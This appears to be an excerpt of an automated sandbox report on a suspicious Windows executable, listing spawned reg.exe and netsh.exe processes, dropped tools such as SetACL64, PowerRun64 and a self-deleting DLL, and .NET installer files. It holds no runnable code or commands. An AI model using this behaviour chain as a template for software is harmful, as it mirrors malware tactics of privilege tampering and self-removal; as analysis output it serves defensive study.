Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\SetupUi.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1032\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1040\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1053\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1055\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1042\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1028\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1030\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1055\SetupResources.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SelfDel.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1032\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1037\SetupResources.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\2052\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1035\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1045\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1046\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1049\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1044\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1043\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\sqmapi.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1042\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\Setup.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1040\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\SetupUtility.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1044\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1041\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1030\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1031\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1043\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\SetupUi.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1037\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1045\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1036\SetupResources.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\win_version_csharp.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\2052\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1049\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1038\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1035\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1046\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1033\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\3076\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\2070\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\Setup.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1041\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1029\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1031\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1038\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1036\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\SetupEngine.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1025\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1033\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\3082\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\sqmapi.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\nsExec.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\2070\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\SetupEngine.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1053\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\SetupUtility.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\3082\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1029\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1028\SetupResources.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\PowerRun64.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1025\SetupResources.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\Users\user\AppData\Local\Temp\dd_dotNetFx40_Full_setup_decompression_log.txtJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\Users\user\AppData\Local\Temp\dd_dotNetFx45_Full_setup_decompression_log.txtJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1033\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1025\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1028\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1030\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1031\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1029\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1036\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1035\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1032\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1038\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1037\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1040\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1041\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1042\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1044\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1043\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1046\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1045\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1055\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1053\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\2052\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1049\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\3082\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\2070\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\3076\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1030\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1029\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1028\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1025\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1031\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1033\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1035\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1032\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1036\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1037\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1041\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1040\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1038\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1042\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1043\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1044\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1053\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1046\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1055\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1045\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\2052\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1049\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\2070\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\3082\eula.rtfJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeRegistry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\VSSetupJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBAF721 StartServiceW,7_2_6CBAF721
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106E1DAC GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,13_2_00007FF7106E1DAC
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: __EH_prolog3,OpenSCManagerW,GetLastError,EnumServicesStatusExW,GetLastError,EnumServicesStatusExW,CloseServiceHandle,9_2_6C5397EC
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\SetupUi.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1032\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1053\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1040\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1055\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1042\SetupResources.dllJump to dropped file
